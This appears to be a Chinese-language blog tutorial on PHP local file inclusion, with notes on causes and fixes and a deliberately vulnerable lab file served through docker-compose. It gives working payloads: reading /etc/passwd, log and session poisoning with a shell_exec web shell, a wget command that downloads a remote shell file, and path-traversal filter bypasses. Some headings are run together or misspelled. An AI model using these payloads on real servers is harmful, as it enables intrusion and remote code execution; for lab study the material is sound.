什麼是 LFI
include
引入其他 php 檔案的時候,沒有去驗證輸入的值或是惡意攻擊者繞過驗證,導致敏感資料外洩 ( etc/passwd ) ,而敏感資料外洩的資料是在伺服器 local 端,所以這個漏洞叫做 local file inclusion。LFI 產生的原因
include()
include_once()
require()
require_once
fopen()
file_get_contents()
LFI 利用方式
feifei.tw/?p=/etc/passwd
nc feifei.tw 80
注入一段 php 惡意程式碼
<?php echo shell_exec($_GET['cmd']);?>
User-Agent
動手腳/var/log/apache2/access.log
/var/log/httpd/access_log
feifei.tw/?p=/var/log/apache2/access.log&cmd=id
ssh '<?php echo shell_exec($_GET['cmd']);?>'@192.168.1.1
/var/log/auth.log
/var/log/secure
/var/lib/php/session
<?php
session_start();
$tmp=$_GET['tmp'];
$_SESSION["tmp"]=$tmp;
?>
feifei.tw/session.php?tmp=<?php echo shell_exec($_GET['cmd']);?>
/var/lib/php/session
sess_<SESSIONID>
<SESSIONID>
可以透過開發者工具查看feifei.tw/?p=/var/lib/php/session/sess_<SESSIONID>&cmd=id
/proc/slef/enversion
LFI to RCE
/proc/slef/enversion
User-Agent
塞入惡意程式碼 <?php system('wget http://feifei.tw/shell.txt -O shell.php');?>
http://vul.feifei.tw/shell.php
GetshellPHP 語言中的偽協議
LFI 修復方法
allow_url_fopen = On
(是否允許遠端伺服器的 url )與 allow_url_include=on
(是否允許包含遠端伺服器的 url )../../../etc/passwd
/etc/passwd
../
→ path.replaceAll('../', '')
....//....//....//
....//
中間 ../
被過濾掉....\/....\/....\/
..%c0%af
or ..%252f
filename=/var/www/images/../../../etc/passwd
filename=../../../etc/passwd%00.png
lfi.php
<?php
$file = $_GET['a'];
if(isset($file)){
include($file);
}
?>
docker-compose.yml
version: "2"
services:
web:
image: php:7-apache
ports:
- "8003:80"
volumes:
- ./server:/var/www/html/
這手法我在自己的系統上,還滿常用的~~原來是 injection XD
如果只是測試用就還好 XDD
如果是產品記得上線要拔掉